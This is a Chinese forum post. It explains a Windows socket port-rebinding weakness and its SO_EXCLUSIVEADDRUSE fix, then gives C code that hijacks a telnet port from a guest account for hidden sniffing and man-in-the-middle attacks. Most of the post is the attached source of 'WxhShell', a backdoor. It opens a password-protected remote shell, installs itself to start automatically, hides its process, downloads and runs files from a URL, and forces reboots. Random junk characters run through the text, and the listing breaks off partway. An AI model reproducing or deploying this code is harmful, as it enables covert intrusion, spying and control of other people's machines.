社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 20019阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dN}#2Bo =  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TbF4/T1b  
|xvy')(b  
  saddr.sin_family = AF_INET; 0% #<c p  
<ExZ:ip  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JQ-gn^tsy  
1G'`2ATF*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3 Lsj}p  
1#4PG'H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U"4?9. k  
!'*csg  
  这意味着什么?意味着可以进行如下的攻击: ~|AwN [  
k') E/n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FG!X"<he  
fQ=MJ7l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KyO8A2'U  
$VQtwuYt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h<\_XJJ  
{gaai  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?}Lg)EFH  
34R!x6W0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1I}b|6 `  
)CS.F=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K!mOr  
b]JI@=s?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J!*/a'Cv  
NCf"tK'5n  
  #include ,xT?mt}P  
  #include e%>b+ Sv  
  #include \OpoBXh  
  #include    *I?Eb-!t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?<yM7O,4  
  int main() @&hnL9D8lL  
  { 45H!;Q sk  
  WORD wVersionRequested; )*d W=r/$V  
  DWORD ret; sfVf@0g  
  WSADATA wsaData; }Y17*zp%  
  BOOL val; pBC<u  
  SOCKADDR_IN saddr; {A o,t+j  
  SOCKADDR_IN scaddr; .\qj;20W  
  int err; 90Hjx>[  
  SOCKET s; *$M'`vj:  
  SOCKET sc; V8~jf-\$b  
  int caddsize; Sj(F3wY  
  HANDLE mt; 6R29$D|HFO  
  DWORD tid;   *AIEl"29  
  wVersionRequested = MAKEWORD( 2, 2 ); 9=/N|m8.  
  err = WSAStartup( wVersionRequested, &wsaData ); Bz`yfl2  
  if ( err != 0 ) { kV Rn`n0  
  printf("error!WSAStartup failed!\n"); /+3a n9h  
  return -1; .M4IGOvOS  
  } 5b6s4ZyV  
  saddr.sin_family = AF_INET; ,s^<X85gp\  
   Zzl,gy70  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -)y%~Zn  
ib0g3p-Lc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #9LzY  
  saddr.sin_port = htons(23); {hO`6mr&t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t=#Pya  
  { @l UlY2  
  printf("error!socket failed!\n"); 3v!~cC~cI  
  return -1; (,xZGa  
  } AP\ofLmq  
  val = TRUE; v1.q$ f^(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vG2b:[W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <39!G7ny  
  { =BZ?-mIU  
  printf("error!setsockopt failed!\n"); (HN4g;{  
  return -1; k,Zm GllQ]  
  } p '{xoV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; })IO#,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W:QwHZ2O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m$$?icA  
h.whjiCFa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *xM/ ;)  
  { zG c[Z3N  
  ret=GetLastError(); ?&l)W~S  
  printf("error!bind failed!\n"); m^{ xd2  
  return -1; )-/gLZsx  
  } cub <G!K  
  listen(s,2); WIh@y2&R  
  while(1) p11G#.0  
  { Jll-X\O`-  
  caddsize = sizeof(scaddr); O hR1Jaed  
  //接受连接请求 r FL$QC2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 396R$\q  
  if(sc!=INVALID_SOCKET) .%0ne:5  
  { Z]:BYX'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u&TdWZe  
  if(mt==NULL) " B@jfa%  
  { pyW u9  
  printf("Thread Creat Failed!\n"); BZ F,=v  
  break; }1%r%TikY  
  } ]R_G{%  
  } cQFR]i  
  CloseHandle(mt); {sC=J hs-  
  } fV ZW[9[  
  closesocket(s); |Zq\GA  
  WSACleanup(); rvwy~hO"  
  return 0; M>_= "atI  
  }   -0,4eg j3  
  DWORD WINAPI ClientThread(LPVOID lpParam) +EASAq  
  { mPVE?jnR^0  
  SOCKET ss = (SOCKET)lpParam; ".2A9]_s  
  SOCKET sc; 4^!4eyQ^  
  unsigned char buf[4096]; -'C!"\%  
  SOCKADDR_IN saddr; s=EiH  
  long num; }&G]0hCT!  
  DWORD val; IvW@o1Q  
  DWORD ret; Z-|li}lDr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iG[? ]]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ds5N Ap:x  
  saddr.sin_family = AF_INET; T0FZ7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9[|4[3K  
  saddr.sin_port = htons(23); (buw^ ,NwZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @%@zH%b  
  { FUaNiAr[  
  printf("error!socket failed!\n"); ,{j4  
  return -1; +*t|yKO>[  
  } TV{)n'aA  
  val = 100; Z%v6xP.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jFj~]]j  
  { D&[Z;,CHMA  
  ret = GetLastError(); [{PqV):p  
  return -1; E5B8 Z?$a  
  } 4=p@2g2"H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }#b %"I0  
  { b4~H3|  
  ret = GetLastError(); If}lJ6jZ  
  return -1; ;1LG&h,K  
  } KP~-$NR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i;lE5  
  { &jJckT  
  printf("error!socket connect failed!\n"); [b5(XIGUN}  
  closesocket(sc); t]TyXAr~  
  closesocket(ss); )DZTB  
  return -1; pVOI5>f\  
  } ?*K<*wBw#  
  while(1) y-cw~kNPP3  
  { /{G/|a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YhgUCF#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (G5xkygR9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OKQLv+q5K)  
  num = recv(ss,buf,4096,0); M j~${vj  
  if(num>0) `45d"B I  
  send(sc,buf,num,0); [$2qna2VP  
  else if(num==0) t&"5dM\  
  break; RWahsJTu  
  num = recv(sc,buf,4096,0); <PD|_nZT  
  if(num>0) HtzMDGV<  
  send(ss,buf,num,0); qWB%),`j>  
  else if(num==0) 0QR.   
  break; $GF&x>]]  
  } h3h8lt_ |  
  closesocket(ss); MYTS3(  
  closesocket(sc); /;+,mp4  
  return 0 ; +(AwSh!  
  } @9_)On9hZ  
]7F)bIG[  
ZW* fOaj  
========================================================== q)Je.6$#X  
WOH9%xv  
下边附上一个代码,,WXhSHELL {U P_i2`.  
fNEz  
========================================================== |E|T%i^}./  
/\~W$.c  
#include "stdafx.h" M,L@k  
3*\8p6G  
#include <stdio.h> dP3VJ3+ %  
#include <string.h> t~~r-V":  
#include <windows.h> kGj]i@(PA4  
#include <winsock2.h> 8OBF^r44R  
#include <winsvc.h> g*r/u;  
#include <urlmon.h> STp!8mL  
5V rcR=?O  
#pragma comment (lib, "Ws2_32.lib") W^ClHQ"Iy  
#pragma comment (lib, "urlmon.lib") `1_FQnm)  
*(VbPp_H_  
#define MAX_USER   100 // 最大客户端连接数 D'?]yyrf  
#define BUF_SOCK   200 // sock buffer \I xzdFF#  
#define KEY_BUFF   255 // 输入 buffer Wy,"cT  
ct.Bg)E  
#define REBOOT     0   // 重启 b.(XS?4o  
#define SHUTDOWN   1   // 关机 T]X{ @_  
2HVCXegq  
#define DEF_PORT   5000 // 监听端口 |lHFo{8"  
Wbs^(iUU}  
#define REG_LEN     16   // 注册表键长度 9!S^^;PN&  
#define SVC_LEN     80   // NT服务名长度 Deog4Ol"/  
cqHw^{'8  
// 从dll定义API vK`S!7x'&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oP,RlR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ebbe=4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &}|0CR.(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \y,; Cfl<  
i/M+t~   
// wxhshell配置信息 "9 u-lcQ\  
struct WSCFG { Z#LUez;&t#  
  int ws_port;         // 监听端口 I`#EhH  
  char ws_passstr[REG_LEN]; // 口令 p1uN ]T7>  
  int ws_autoins;       // 安装标记, 1=yes 0=no = jBL'|k5  
  char ws_regname[REG_LEN]; // 注册表键名 :X|AW?*  
  char ws_svcname[REG_LEN]; // 服务名 AYYRxhv_,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7ozYq_ $  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TwwIt5_fN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _jk|}IB;X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]t7ClT)n!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w=gQ3j#s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U!_sh<  
7~lB}$L  
}; 6e&g$ R v  
Rgs3A)[`d/  
// default Wxhshell configuration `-5cQ2>"  
struct WSCFG wscfg={DEF_PORT, s/\XH&KR3V  
    "xuhuanlingzhe", ~"RQ!&U  
    1, ZG!x$ yi$  
    "Wxhshell", R$ v i!0  
    "Wxhshell", _=)!xnYf  
            "WxhShell Service", TLX^~W[gOm  
    "Wrsky Windows CmdShell Service", v7g [Lk  
    "Please Input Your Password: ", IS .g);Gj  
  1, t0+t9w/fTP  
  "http://www.wrsky.com/wxhshell.exe", @],Z 2  
  "Wxhshell.exe" `2sdZ/fO  
    }; .k p $oAL  
jf2y0W>6s  
// 消息定义模块 8R BDJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; enWF7`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yi&?d&rK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !OV|I  
char *msg_ws_ext="\n\rExit."; AK %=DVkM  
char *msg_ws_end="\n\rQuit."; R+k=Ea&x  
char *msg_ws_boot="\n\rReboot..."; x ru(Le}E  
char *msg_ws_poff="\n\rShutdown..."; d!w1t=2H  
char *msg_ws_down="\n\rSave to "; 0%#t[us Y  
EP/&m|o|G  
char *msg_ws_err="\n\rErr!"; 5wy;8a  
char *msg_ws_ok="\n\rOK!"; Bfu/9ad  
![qRoYpbg8  
char ExeFile[MAX_PATH]; fdg[{T4:  
int nUser = 0; 9#s,K! !3{  
HANDLE handles[MAX_USER]; nz}]C04:-  
int OsIsNt; 5ZZd.9ZgM  
l85O-g}M  
SERVICE_STATUS       serviceStatus; mMn2(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yo'q[YtP'  
gt#MeU  
// 函数声明 DIL)7K4  
int Install(void); D[+|^,^>  
int Uninstall(void); =lYvj  
int DownloadFile(char *sURL, SOCKET wsh); UU*0dSWr  
int Boot(int flag); A!n~8zcmp}  
void HideProc(void); X9p+a,  
int GetOsVer(void); LqMe'z  
int Wxhshell(SOCKET wsl); "[FCQ  
void TalkWithClient(void *cs); :t_}_!~  
int CmdShell(SOCKET sock); [B.W1 GL!  
int StartFromService(void); @2QJm  
int StartWxhshell(LPSTR lpCmdLine); wEZqkV  
p!.  /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F%w\D9+P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ftDVxKDE?S  
e-&L\M  
// 数据结构和表定义 JkRGtYq  
SERVICE_TABLE_ENTRY DispatchTable[] = <m-Ni  
{ hB?U5J  
{wscfg.ws_svcname, NTServiceMain}, k?!TjBKm  
{NULL, NULL} kO /~i  
}; H0 {Mlu9  
aY3pvOV  
// 自我安装 s{b0#[  
int Install(void) >1_Dk7E0D  
{ ?*B;514  
  char svExeFile[MAX_PATH]; :-W$PIBe  
  HKEY key; clij|?O  
  strcpy(svExeFile,ExeFile); 8 ))I$+  
zS&7[:IRs'  
// 如果是win9x系统,修改注册表设为自启动 =>E44v  
if(!OsIsNt) { (or =f`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qpH j4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /&y,vkZTT  
  RegCloseKey(key); @^w!% ?J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n=lggBRx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c80"8r  
  RegCloseKey(key); D N2hv2  
  return 0; C@l +\M(  
    } Zw3hp,P]  
  } tyBg7dP  
} {X{01j};8  
else { %Z-TbOX  
e7)>U!9c9  
// 如果是NT以上系统,安装为系统服务 z:@d@\$?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +]aD^N9['  
if (schSCManager!=0) VQZT.^  
{ bQ${8ZO  
  SC_HANDLE schService = CreateService +_vm\]4  
  ( pO-)x:Wg  
  schSCManager, gDUoc*+h  
  wscfg.ws_svcname, J tn&o"C  
  wscfg.ws_svcdisp, o(S^1j5  
  SERVICE_ALL_ACCESS, ee__3>H"/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rd f85%%7  
  SERVICE_AUTO_START, ?j},O=JFn  
  SERVICE_ERROR_NORMAL, _rWTw+ L  
  svExeFile, (7 ]\p  
  NULL, {Tjtj@-  
  NULL, K6 PC&+x  
  NULL, ^MF=,U'8  
  NULL, bCe[nmE2  
  NULL oW\Q>c7 =  
  ); r zc 3k~@  
  if (schService!=0) #,Fx@3y\a  
  { _.s\qQ  
  CloseServiceHandle(schService); l,~ N~?  
  CloseServiceHandle(schSCManager); #UP,;W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b*$o[wO9  
  strcat(svExeFile,wscfg.ws_svcname); -NI@xJO4(;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &**.naSo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i&AXPq>`  
  RegCloseKey(key); exa}dh/uC  
  return 0; j[Hg]  
    } DVeF(Y3&  
  } Bk@_]a  
  CloseServiceHandle(schSCManager); $P1d#;rb%  
} 'RN"yMv7l  
} }&'yt97+  
3 8ls 4v3  
return 1; )aO!cQ{s  
} \dQ2[Ek  
"1pZzad  
// 自我卸载 b W`)CWd  
int Uninstall(void) `s|\" @2  
{ k -t,y|N  
  HKEY key; +eH=;8  
(\AszLW  
if(!OsIsNt) { +L<w."WG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9h)P8B.>M  
  RegDeleteValue(key,wscfg.ws_regname); ).@)t:uNa  
  RegCloseKey(key); !*$'fn'bAA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! Dhfr{  
  RegDeleteValue(key,wscfg.ws_regname); eQ4B5B%j/x  
  RegCloseKey(key); \t 7zMp  
  return 0; r.W"@vc>  
  } Jg?pW:}R  
} %'p|JS  
} Sd/d [  
else { LqH?3):  
,YzC)(-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :5qqu{GL  
if (schSCManager!=0) tL 9e~>,`  
{ 55)ep  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xDAA`G  
  if (schService!=0) v6, o/3Ex  
  { EJ[iOYx  
  if(DeleteService(schService)!=0) { :EmMia-)J  
  CloseServiceHandle(schService); Ky{I&}+R|  
  CloseServiceHandle(schSCManager); :O_<K&  
  return 0; Yru1@/;  
  } ;Ef)7GE@\[  
  CloseServiceHandle(schService); /ux#U]x  
  } A&@jA5Jb  
  CloseServiceHandle(schSCManager); 8Gzs  
} Q'V,?#  
} /E1c#@  
v \L Ip  
return 1; #v]aT  ]}  
} Ts?>"@  
5w-G]b  
// 从指定url下载文件 I.n{ "=$B@  
int DownloadFile(char *sURL, SOCKET wsh) S4AB tKG  
{ E t[QcB3  
  HRESULT hr; hgMnO J  
char seps[]= "/"; .<|4PG  
char *token; Y$DgL h  
char *file; *1 eTf  
char myURL[MAX_PATH]; '3kL=(  
char myFILE[MAX_PATH]; aABE= 9Y  
we@En .>f  
strcpy(myURL,sURL); (Su2 \x  
  token=strtok(myURL,seps); x[,wJzp\6  
  while(token!=NULL) H'(o}cn7~  
  { 0.,&B5)  
    file=token; M}RFFg  
  token=strtok(NULL,seps); kv FOk  
  } 7G #e~,M5  
'}[L sU  
GetCurrentDirectory(MAX_PATH,myFILE); c^/?VmCQ}  
strcat(myFILE, "\\"); nV6g]#~ @  
strcat(myFILE, file); g960;waz3  
  send(wsh,myFILE,strlen(myFILE),0); ;|e 0{Jrz  
send(wsh,"...",3,0); I<o4l[--  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x'PjP1  
  if(hr==S_OK) 'jO-e^qT  
return 0; u\\niCNA  
else mJ#B<I'  
return 1; j~<iTLM  
GA@Q:n8UuR  
} 70l;**"4  
~$`YzK^*X  
// 系统电源模块 p!5JO4F$  
int Boot(int flag) OKH~Y-%<  
{ InGbV+ I  
  HANDLE hToken; y8 u)Q  
  TOKEN_PRIVILEGES tkp; qSs^}eN  
rcb/X`l=  
  if(OsIsNt) { rG'k<X~7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?z36mj"`o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i /U{dzZ  
    tkp.PrivilegeCount = 1; t 1'or  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ##\ZuJ^-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +_K;Pj]x  
if(flag==REBOOT) { dg@/HLZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :a<TV9?H0  
  return 0; %>}7 $Y%  
} Z["nY&.sI  
else { ~5?n&pF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D&lXi~Z%.  
  return 0; -D':7!@  
} 9fLP&v  
  } wtick~)  
  else { [~%;E[ky$  
if(flag==REBOOT) { V$%Fs{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D,R2wNF  
  return 0; Hu!>RSg,,2  
} E MbI\=>yS  
else { ~2qG" 1[\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /hy!8c7  
  return 0; dD2e"OIX  
} dK`O,[}  
} ?26[%%  
3cQmxp2*  
return 1; EJ|ZZYke!  
} tQ<2K*3]  
Ji?UG@  
// win9x进程隐藏模块 4o8HEq!  
void HideProc(void) M L_J<|,J  
{ ;SP3nU))  
ZQ8Aak  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y2$`o4*3  
  if ( hKernel != NULL )  JS.' v7  
  { 9W r(w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nff]Y$FB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q\=[v  
    FreeLibrary(hKernel); 5~6y.S  
  } +:8YMM#9V  
;a77YL TQ  
return; &3/H P)*<]  
} YLd%"H $n  
`I<|*vW u  
// 获取操作系统版本 #FM 'S|  
int GetOsVer(void) O!yn `< l  
{ ^^(ZK 6d  
  OSVERSIONINFO winfo; _!Q\Xn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -$p-o Z)  
  GetVersionEx(&winfo); a{6|[a R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AFA*_9Ut  
  return 1; aM1JG$+7G  
  else cHd39H9  
  return 0; wB GxJ\+M  
} u _^=]K;  
bhT]zsBK  
// 客户端句柄模块 2UJ0%k  
int Wxhshell(SOCKET wsl) : \`MrI^  
{ =l_"M  
  SOCKET wsh; ~1!kU 4  
  struct sockaddr_in client; 9_dsiM7CT  
  DWORD myID; :CHd\."%+1  
lO@Ba;x  
  while(nUser<MAX_USER) NP/2gjp  
{ 51usiOq  
  int nSize=sizeof(client); :S2MS{>Mo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L zy|<:K+$  
  if(wsh==INVALID_SOCKET) return 1; MM7gMAA.mz  
o8"xoXK5xf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )&-+:u0  
if(handles[nUser]==0) 3xY]Lqwv  
  closesocket(wsh); _P+|tW1  
else F`3As 9b:  
  nUser++; pr?(5{BL  
  } 7 {<lH%Tn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P;[mw(  
$SgD| 9  
  return 0; p.olXP  
} :.^rWCL2  
2%H( a)  
// 关闭 socket #$QY[rf=6  
void CloseIt(SOCKET wsh) J'v|^`bE  
{ 3E9j%sYk  
closesocket(wsh); CAO{$<M5m  
nUser--; MQu6Tm H  
ExitThread(0); vnpX-c  
} W5{e.eI}|  
,B!Qv3bn  
// 客户端请求句柄 Ss}0.5Bq  
void TalkWithClient(void *cs) b@Cvs4  
{ 8tk`1E8!j  
HDxw2nz*R  
  SOCKET wsh=(SOCKET)cs; &*SnDuc  
  char pwd[SVC_LEN]; }(6k7{,Gw,  
  char cmd[KEY_BUFF]; .? / J  
char chr[1]; zvj\n9H  
int i,j; HB:i0m2fJW  
$T0[  
  while (nUser < MAX_USER) { sP7(1)\  
2e=Hjf )  
if(wscfg.ws_passstr) { $4]PN2d&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gd*?kXpt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WdnP[x9  
  //ZeroMemory(pwd,KEY_BUFF); ozG:f*{T  
      i=0; eU0-_3gN_  
  while(i<SVC_LEN) { [5-5tipvWp  
?i"FdpW  
  // 设置超时 pj6Cvq4bD  
  fd_set FdRead; M IJ~j><L  
  struct timeval TimeOut; Sq QB>;/p  
  FD_ZERO(&FdRead); fZC,%p  
  FD_SET(wsh,&FdRead); Y#,MFEd  
  TimeOut.tv_sec=8; ,vj^AXU  
  TimeOut.tv_usec=0; v2Y=vr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ){~.jP=-#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1g+<`1=KT  
V}?5=f'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DEhA8.v  
  pwd=chr[0]; CXA8V"@&b/  
  if(chr[0]==0xd || chr[0]==0xa) { hpu(MX\  
  pwd=0; PHkvt!uH  
  break; "AVc^>  
  } !T)>q%@ai  
  i++; 3[4]G@  
    } ~r3g~MCHS  
511q\w M  
  // 如果是非法用户,关闭 socket R >TtAm0N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kLP^q+$u)!  
} sBMHf9u  
)g9qkQ8q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yaqim<j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fz*6 B NJ  
kCV OeXv  
while(1) { DQd&:J@?  
8*X8U:.0o  
  ZeroMemory(cmd,KEY_BUFF); K"61i:F  
q!4dK4`#5  
      // 自动支持客户端 telnet标准   Wu(GC]lTG  
  j=0; 6gXc-}dp  
  while(j<KEY_BUFF) { e9hQJ 1{)x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <Coh &g_  
  cmd[j]=chr[0]; v)06`G  
  if(chr[0]==0xa || chr[0]==0xd) { l3,|r QD  
  cmd[j]=0; x,+zw9  
  break;  hT[O5  
  } vEkz 5$  
  j++; rcOmpgew  
    } D? ($R9t  
R\^tr  
  // 下载文件 [(XKqiSV  
  if(strstr(cmd,"http://")) { X%sc:V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4Bz~_   
  if(DownloadFile(cmd,wsh)) Y]PZ| G)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{ &z^  
  else 4-MA!&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +?8nY.~,'  
  } o,L!F`W  
  else { WW.=>]7;  
6 S8#[b  
    switch(cmd[0]) { [(hENX}o :  
  (Jm_2CN7X  
  // 帮助 E+gUzz5  
  case '?': { qluyJpt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #oaX<,  
    break; 7K~=QEc  
  } SFHa(JOS  
  // 安装 [M.Vu  
  case 'i': { > 01k u  
    if(Install()) I/adzLQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<[<qU:  
    else d 9|u~3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lqt]  
    break; R!O'DM+  
    } d;z`xy(C  
  // 卸载 8mi IlB  
  case 'r': { +q1@,LxN  
    if(Uninstall()) J<2N~$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]du pU"VV  
    else E?V:dr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^>>Naid  
    break; ?Gb 18m  
    } li'#< "R?'  
  // 显示 wxhshell 所在路径 =8]'/b  
  case 'p': { \6o ~ i  
    char svExeFile[MAX_PATH]; d%<Uh(+:  
    strcpy(svExeFile,"\n\r"); W \"cp[b  
      strcat(svExeFile,ExeFile); E4P P& '  
        send(wsh,svExeFile,strlen(svExeFile),0); [30<  0  
    break; Gh j[nsoC~  
    } /2c?+04+  
  // 重启 ^;'3(m=  
  case 'b': { n`6vM4rM)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v^vEaB  
    if(Boot(REBOOT)) )gE:@ 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5i0<BZDTef  
    else { B!:(*lF  
    closesocket(wsh); q o'1Pknz  
